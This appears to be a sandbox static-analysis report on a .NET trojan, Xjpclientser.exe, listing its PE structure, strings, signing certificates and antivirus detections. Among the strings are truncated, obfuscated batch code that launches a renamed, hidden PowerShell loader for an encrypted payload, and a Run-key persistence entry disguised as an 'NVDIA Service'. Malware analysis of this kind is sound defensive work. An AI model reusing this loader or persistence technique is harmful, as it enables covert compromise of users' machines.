Static | ZeroBOX

PE Compile Time

2053-09-12 20:01:45

PDB Path

C:\item\client\Xjpclientser\Xjpclientser\obj\Release\Xjpclientser.pdb

PE Imphash

f34d5f2d4577ed6d9ceec516c1f5a744

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00002000 0x0010d1a8 0x0010d200 6.03774367439
.rsrc 0x00110000 0x000010d0 0x00001200 5.57392711278
.reloc 0x00112000 0x0000000c 0x00000200 0.101910425663

Resources

Name Offset Size Language Sub-language File type
RT_VERSION 0x00110090 0x00000334 LANG_NEUTRAL SUBLANG_NEUTRAL data
RT_MANIFEST 0x001103d4 0x00000cf5 LANG_NEUTRAL SUBLANG_NEUTRAL XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

Library mscoree.dll:
0x402000 _CorExeMain

!This program cannot be run in DOS mode.
`.rsrc
@.reloc
dd(
v4.0.30319
#Strings
Xjpclient20
get_caf40
<>c__DisplayClass2_0
<Openbat>b__0
Resource1
Microsoft.Win32
get_UTF8
<Module>
GetHTML
System.IO
mscorlib
WinExec
Thread
System.Collections.Specialized
ReadToEnd
set_IsBackground
set_Method
get_StatusCode
HttpStatusCode
cookie
RuntimeTypeHandle
GetTypeFromHandle
get_MainModule
ProcessModule
get_FileName
get_ProcessName
lpCmdLine
set_ContentType
get_Culture
set_Culture
resourceCulture
HttpWebResponse
GetResponse
Create
EditorBrowsableState
Delete
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
UnverifiableCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
SecurityPermissionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
SetHeaderValue
GetValue
SetValue
Xjpclientser.exe
IndexOf
get_caf
System.Threading
UTF8Encoding
encoding
System.Runtime.Versioning
ToString
GetFolderPath
set_ContentLength
System.ComponentModel
kernel32.dll
ThreadPool
GetResponseStream
Program
get_Item
set_Item
System
resourceMan
isopen
System.Globalization
SecurityAction
System.Reflection
NameValueCollection
WebHeaderCollection
Exception
CultureInfo
DirectoryInfo
PropertyInfo
StreamReader
TextReader
header
SpecialFolder
get_ResourceManager
System.CodeDom.Compiler
set_CookieContainer
cookieContainer
CurrentUser
Xjpclientser
.cctor
System.Diagnostics
SetMinThreads
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
Xjpclientser.Resource1.resources
DebuggingModes
GetProcesses
WriteAllBytes
GetBytes
BindingFlags
System.Security.Permissions
get_Headers
OpenCLass
GetCurrentProcess
Exists
Openbat
Concat
GetObject
HtmlGet
SendRequestGet
System.Net
get_Default
Environment
ThreadStart
HttpWebRequest
set_Timeout
System.Text
uCmdShow
CreateSubKey
RegistryKey
get_Assembly
CreateDirectory
Registry
op_Inequality
System.Security
GetProperty
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
SkipVerification
WrapNonExceptionThrows
Xjpclient20
Copyright
2022
$bed72dfd-8813-4b39-b398-991f7d0c3b5b
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4A
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
:: Cu8uzrlG7j6EfCceZ7VL+ofxBkuRiAaq/kr2B5cm4zPKf+IKmqfBoaM7xkTKO5wT+YKmASXymi/DezQ2LMfkorbN6fPpZh5zHGSuF/J4jlbSvVmssY7LcGBCoohwgRTaO4paXg4Nu09OWt/TlKc/DsuXh1LZRr9vteE1sSB5beyYuEiBCOcr4pZ7upz2uzVjdBrYkKnd+dqk5QnmiE92X5dooykwvmDsFZ8BIGN5gHlRp035s/OW7UIrY37BpBx1A6rzes0JgPp+bNpek0mQolXkSAhfoh0tkbvOLmgcNNRPfNs7Oqja5pw+u3joIcerAra9opesh2qQAvHC+wnK9xT+X3QFUvAeQCm5be2E62JwCJYipGW5ZrOd82PVk/y8sw1KsMqstnM0q1gJSk9/T0rJpO4AP6cF10Cwms4p7Vflx8FIPJNKV41XK2OXmL0BjcgsGexVbDyJdZrxScHTV5wjUsYDv/vFlS4xPOTnbAIx09tgDmaLozoB899U7gP07uU378H/0NB7+iONWP9bdUEmpr4piZBCLlvn0FDgkDQ2vPYyNQmmN0gpR1MUOKR0uDxqbxl1KWxk/io0rExdrLxxbBN82ekuu/ydtheSObObZFrBtOUs7tkdwRFJMP+aKdgP7hZfdHTgZ4UwqYuUirVDNsVF0T8uArphDSRKu4QdxVXxcGCSLRIO0kcsLllm0Y4dFKJNASTtIULjWcnoyNY5oTrKVjEX+ODKkRX8GdeCCEd9/u9Dp1vUGFiFmYirJmJ/uETvIjM5UYglukoM8nkuEH+br8uI3xIXU55gZh+RUzxARJl40XtptBIigSctm7Ahs3H13UJxjiRCbDHcCl910oMzmKjtq1uc1bpZXRZu+hZ1hsx+Ts9Wtc+q9hQbI6Ts0o0KsOJ3CsLEKC5Zk48I4E9l1/XCv7hfImI1ggRq0w0aldPFzaLBdX3P9rw7PpZs9X1iax8v9FlfujybNyysohDi7TUMVJC8pZ694m9jRXC93GBnIu1CDMUA9
@echo off
set "qicACy=setrgHqH LvrgHqHK=rgHqH1 rgHqH&&rgHqH rgHqHstrgHqHartrgHqH rgHqH"" rgHqH/mrgHqHinrgHqH rgHqH"
set "sqizzI=&&rgHqH exrgHqHitrgHqH"
if not defined LvK (%qicACy:rgHqH=%%0 %sqizzI:rgHqH=%)
set cJkssb=%~0.exe
set "izaEvc=WrgHqHindrgHqHowrgHqHsPrgHqHowrgHqHerSrgHqHhelrgHqHl\rgHqHv1.rgHqH0rgHqH\powrgHqHergHqHrsrgHqHhergHqHll.rgHqHergHqHxergHqH"
set WnDnGN=C:\Windows\System32\%izaEvc:rgHqH=%
copy %WnDnGN% "%cJkssb%" /y
set "dxWoXK=-wrgHqH hirgHqHddrgHqHenrgHqH rgHqH-rgHqHcrgHqH rgHqH$ZrgHqHlkrgHqHc='rgHqHETsmrgHqHrrgHqHntTsrgHqHmrgHqHrrgHqHryPTrgHqHsmrrgHqHorgHqHiTsmrgHqHrnrgHqHtrgHqHTrgHqHsmrrgHqH'.rgHqHRrgHqHeplrgHqHace(rgHqH'TrgHqHsrgHqHmrgHqHr',rgHqH '')rgHqH;$argHqHvUrgHqHA=rgHqH'LrgHqHoTrgHqHsrgHqHmrrgHqHadrgHqHTrgHqHsmrgHqHr'.rgHqHReprgHqHlacergHqH('TsrgHqHmrrgHqH', 'rgHqH'rgHqH);rgHqH$NMrgHqHbR='rgHqHIrgHqHnTrgHqHsmrrgHqHvokergHqHTsmrgHqHr'.RrgHqHeplrgHqHargHqHcergHqH('rgHqHTrgHqHsmrrgHqH'rgHqH,rgHqH rgHqH'rgHqH');rgHqH$AOrgHqHPj=rgHqH'CrTrgHqHsmrgHqHrrgHqHeargHqHTsmrrgHqHtTrgHqHsmrgHqHrergHqHDeTrgHqHsmrrgHqHcrrgHqHyprgHqHTsmrgHqHrrgHqHtoTrgHqHsmrrgHqHrTrgHqHsmrrgHqH'.rgHqHRrgHqHergHqHplargHqHce(rgHqH'TrgHqHsmrgHqHr'rgHqH, 'rgHqH');rgHqH$krgHqHNnrgHqHrrgHqH='rgHqHMargHqHTsmrgHqHrrgHqHiTrgHqHsmrnrgHqHMTrgHqHsrgHqHmrorgHqHdrgHqHTsmrgHqHrurgHqHlTsmrgHqHrergHqHTsrgHqHmrrgHqH'rgHqH.RergHqHplrgHqHacergHqH('rgHqHTsrgHqHmrgHqHr'rgHqH,rgHqH ''rgHqH);rgHqH$zrgHqHyCrgHqHA='rgHqHFrgHqHrrgHqHoTrgHqHsrgHqHmrrgHqHmrgHqHTrgHqHsmrgH
call "%cJkssb%" %dxWoXK:rgHqH=%
:: +SWkInCSTERS6US1PDWJDBxQg2XuUzagjPs2NMlSFbfycTYL4Sm8nFdgdIRYJDohbUnYboHLA3RvtkdXQpmLFGOBI2kyY3HbiJNCIFg9HjtS3FPgejrgMatl4DkmSx/bJF3Dt5jDM20PlNk24K4xAtfjjzjCZxZv1Bl9ZwEg4QA+H+LwrW0+00qqEmGHXTg0I8V1l3I9WP7pET0gQoMEpRF/yHbY81DUvPLRlNUSTcGEMLsebm0wbNCiCEyak1OtfvwiW823cCheY91pCXp+OiZOV0YsfIMxcuuTuCwzeZF432eErsUISiM97JLz9wPNCw7j2pNyYd883d9rULLZFKQXd1oNdH9v43qw8Uw/0N0WCfPqqx786Bk/Onob1iOq9F9gR74G6W0UcamgVs4fMfgaik6p6ktJal2IQGEvr0ORYd+wCM0HlVymGdfS7qGOK8AKR8Kmt8otz+dAPigZEO7f2YX6E0qiMHWJ7WDz+ht8gUSVs4krN5SDxFVUSTvV01/UVvJdxe9e9+Og6QZSM1utHT1sBpOENRms3wdgvGIPX2kF8GHAbv6Lx//ZXauCeu1hM0Jt8up0mnHf4yyM0udQ/HSvL3FzycjtaxOES09wt/Dd/psBgZf5KpT5++V+nbSCDvrLyUBhEY6ruJT4w50kGM9eutxOYaYiUeBqBHpCOz2CDkLbj80+1lOOD5BGyD4r8gg+LY1UU6c6RlS+Qz6U3ro0h1nf5y+4ELIfcoFAnieZa2RO1ujpyyjR/YkMLUVlkZ0M315h/U0ClJyJwyr7HmEMah9mkxRswwCqn0UQ/y1oNXdbOfMVH/M7cuf8o1vvwhb8Qs2auGFQlTmwVJn5d71Vi5pDfnmoUnUrp1oSTK4qVTTKSgxA1WiyWnGITazQJk/FMBJf3O6Mz+o2zZS6YFHw4d/4mt3DpC0Pmx08aaFRDO5KCPvBp4TsECWl/o1HWR2GD01X2BXHzVRz0XOjQFTKv/7xU4jSdj+oLh+oMLasIH0WpgGoKibgK
@echo off
set "MwrumI=senehzwtnehzw nehzwKnehzwvYnehzw=nehzw1 &nehzw& nehzwstnehzwarnehzwtnehzw nehzw"" /nehzwminnehzw nehzw"
set "kYlCfL=&&nehzw exnehzwitnehzw"
if not defined KvY (%MwrumI:nehzw=%%0 %kYlCfL:nehzw=%)
set kFeerp=%~0.exe
set "RnqzAp=WinehzwndonehzwwnehzwsnehzwPowenehzwrShenehzwlnehzwl\nehzwvnehzw1nehzw.0nehzw\ponehzwwernehzwshnehzwenehzwll.nehzwenehzwxenehzw"
set MGXhQt=C:\Windows\System32\%RnqzAp:nehzw=%
copy %MGXhQt% "%kFeerp%" /y
set "FVwXgI=-w nehzwhinehzwddnehzwen nehzw-c $nehzwYnehzwEnehzwEK='nehzwGCVLnehzwietnehzwCVLinehzwCCnehzwVLnehzwiurnehzwrnehzwenehzwCVLnehzwinehzwnnehzwCVnehzwLnehzwitCnehzwVLnehzwiPnehzwroCnehzwVLicnehzwesCnehzwVLinehzwsnehzwCnehzwVLinehzw'.nehzwRenehzwplnehzwanehzwce('nehzwCVLinehzw'nehzw, nehzw''nehzw);nehzw$PnehzwOMRnehzw='LnehzwoCnehzwVnehzwLnehzwiadnehzwCnehzwVLi'nehzw.nehzwRepnehzwlacnehzwe(nehzw'nehzwCVnehzwLinehzw', nehzw''nehzw);$AnehzwGNnehzwg=nehzw'TCnehzwVnehzwLinehzwrnehzwCVLnehzwianehzwnnehzwsfnehzwCVnehzwLionehzwCVLnehzwinehzwrmnehzwCVLnehzwiFinehzwnanehzwCVLinehzwlBCnehzwVnehzwLinehzwlonehzwcCnehzwVLnehzwikCnehzwVnehzwLi'nehzw.Renehzwpnehzwlanehzwcnehzwe(nehzw'nehzwCVLinehzw'nehzw, ''nehzw);nehzw$pnehzwlSnehzwjnehzw='SnehzwpnehzwlCVLnehzwinehzwitnehzwCVLnehzwinehzw'nehzw.nehzwRnehzwepnehzwlanehzwcenehzw('nehzwCVLinehzw', 'nehzw'nehzw);$nehzwvQEnnehzw='FnehzwrCVnehzwLinehzwoCnehzwVnehzwLimnehzwBCVnehzwLinehzwaCnehzwVLinehzwsenehzwCVLnehzwi64SnehzwCVLnehzwinehzwtnehzwCVnehzwLnehzwirnehzwinnehzw
call "%kFeerp%" %FVwXgI:nehzw=%
C:\item\client\Xjpclientser\Xjpclientser\obj\Release\Xjpclientser.pdb
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="utf-8"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<!-- UAC
Windows
requestedExecutionLevel
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
requestedExecutionLevel
-->
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!--
Windows
Windows
<!-- Windows Vista -->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
<!-- Windows 7 -->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
<!-- Windows 8 -->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
<!-- Windows 8.1 -->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
<!-- Windows 10 -->
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
</application>
</compatibility>
<!--
Windows
Windows Presentation Foundation (WPF)
Windows
.NET Framework 4.6)
app.config
"EnableWindowsFormsHighDpiAutoResizing"
"true"
https://docs.microsoft.com/windows/win32/fileio/maximum-file-path-limitation -->
<!--
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
</windowsSettings>
</application>
<!--
Windows
(Windows XP
<!--
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
</assembly>
bX<imd
Greater Manchester1
Salford1
Comodo CA Limited1!0
AAA Certificate Services0
040101000000Z
281231235959Z0{1
Greater Manchester1
Salford1
Comodo CA Limited1!0
AAA Certificate Services0
2http://crl.comodoca.com/AAACertificateServices.crl06
0http://crl.comodo.net/AAACertificateServices.crl0
Greater Manchester1
Salford1
Comodo CA Limited1!0
AAA Certificate Services0
210525000000Z
281231235959Z0V1
Sectigo Limited1-0+
$Sectigo Public Code Signing Root R460
H/(@Bp 6
2http://crl.comodoca.com/AAACertificateServices.crl04
http://ocsp.comodoca.com0
Sectigo Limited1-0+
$Sectigo Public Code Signing Root R460
210322000000Z
360321235959Z0T1
Sectigo Limited1+0)
"Sectigo Public Code Signing CA R360
FFlCx@
H/(@Bp 6
:http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0{
:http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
http://ocsp.sectigo.com0
ts7!:o
n0PPd}
Sectigo Limited1+0)
"Sectigo Public Code Signing CA R360
230420000000Z
240419235959Z0P1
Derbyshire1
O PLUS K LTD1
O PLUS K LTD0
https://sectigo.com/CPS0
8http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
8http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
http://ocsp.sectigo.com0
enquiries@oplusk.info0
Sectigo Limited1+0)
"Sectigo Public Code Signing CA R36
7;'m~Z
20230428081843Z
DigiCert, Inc.1;09
2DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA0
220921000000Z
331121235959Z0F1
DigiCert1$0"
DigiCert Timestamp 2022 - 20
Ihttp://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
http://ocsp.digicert.com0X
Lhttp://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
(f*^[0
DigiCert Inc1
www.digicert.com1!0
DigiCert Trusted Root G40
220323000000Z
370322235959Z0c1
DigiCert, Inc.1;09
2DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA0
http://ocsp.digicert.com0A
5http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
2http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
DigiCert Inc1
www.digicert.com1$0"
DigiCert Assured ID Root CA0
220801000000Z
311109235959Z0b1
DigiCert Inc1
www.digicert.com1!0
DigiCert Trusted Root G40
]J<0"0i3
v=Y]Bv
http://ocsp.digicert.com0C
7http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
4http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
~qj#k"
DigiCert, Inc.1;09
2DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA
230428081843Z0+
/1(0&0$0"
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
NVDIA Service
unsdk.bat
Xjpclientser.Resource1
application/x-www-form-urlencoded
User-Agent
Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/15E148 Safari/604.1
Location
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.2.0.3000 Chrome/30.0.1551.0 Safari/537.36
InnerCollection
\koodos40
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
Xjpclient20
FileVersion
1.0.0.0
InternalName
Xjpclientser.exe
LegalCopyright
Copyright
2022
LegalTrademarks
OriginalFilename
Xjpclientser.exe
ProductName
Xjpclient20
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
MicroWorld-eScan Trojan.GenericKD.66717703
ClamAV Clean
FireEye Generic.mg.4a1f2dc9c8df4981
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
CrowdStrike win/malicious_confidence_100% (W)
BitDefender Trojan.GenericKD.66717703
K7GW Clean
K7AntiVirus Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec ML.Attribute.HighConfidence
Elastic malicious (high confidence)
ESET-NOD32 Clean
APEX Malicious
Paloalto generic.ml
Cynet Clean
Kaspersky HEUR:Trojan.MSIL.Dnoper.gen
Alibaba Clean
NANO-Antivirus Clean
SUPERAntiSpyware Clean
Tencent Clean
TACHYON Clean
Emsisoft Trojan.GenericKD.66717703 (B)
Baidu Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Clean
Trapmine Clean
CMC Clean
Sophos Generic Reputation PUA (PUA)
Ikarus Clean
Jiangmin Clean
Webroot W32.Trojan.Gen
Avira Clean
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
ViRobot Clean
ZoneAlarm HEUR:Trojan.MSIL.Dnoper.gen
GData MSIL.Packed.Kryptik.GOA9UP
Google Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Artemis!4A1F2DC9C8DF
MAX malware (ai score=81)
DeepInstinct MALICIOUS
VBA32 Clean
Cylance Clean
Panda Trj/Chgt.AD
Zoner Clean
TrendMicro-HouseCall Clean
Rising Trojan.Dnoper!8.10CB3 (CLOUD)
Yandex Clean
SentinelOne Static AI - Suspicious PE
MaxSecure Clean
Fortinet PossibleThreat.PALLAS.M
AVG Clean
Avast Clean
No IRMA results available.